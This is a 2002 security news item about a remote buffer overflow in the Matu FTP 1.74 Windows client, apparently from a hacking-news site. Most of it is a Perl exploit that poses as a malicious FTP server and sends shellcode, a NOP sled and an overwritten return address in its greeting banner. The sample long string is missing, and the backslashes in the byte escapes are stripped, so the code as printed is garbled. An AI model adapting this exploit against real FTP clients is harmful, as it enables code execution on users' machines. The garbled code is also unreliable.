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Home » Hacking News » Matu FTP remote buffer overflow vulnerability

Matu FTP remote buffer overflow vulnerability

by Nikola Strahija on April 23rd, 2002 Matu FTP is a Japanese FTP client software for Win32 Platform. It was found an exploitable buffer overflow problem in Matu FTP Version 1.74.

The buffer overflow occurs when a long string like


is received by Matu FTP in the beginning of an FTP session.
This vulnerability allows malicious FTP server to execute
an arbitrary code on client hosts.

Vendor Status
Notified with no response

This exploit code is invoked as an FTP server through inetd.


# Matu Ftp Version 1.74 exploit for Windows2000 Professional (SP2)
# ( run under inetd )
# written by Kanatoko

#egg written by UNYUN (
$egg = "xEBx27x8Bx34x24x33xC9x33xD2xB2";
$egg .= "x0Bx03xF2x88x0Ex2BxF2xB8xAFxA7";
$egg .= "xE6x77xB1x05xB2x04x2BxE2x89x0C";
$egg .= "x24x2BxE2x89x34x24xFFxD0x90xEB";
$egg .= "xFDxE8xD4xFFxFFxFF";
$egg .= "notepad.exe";

#egg_address = 0x0012F43C
$buf = "x90" x 217;
$buf .= $egg;
$buf .= "A" x 2;
$buf .= "x3CxF4x12x00";
$buf .= "B" x 80;

print "220 $bufrn";


#sorry for the bad english


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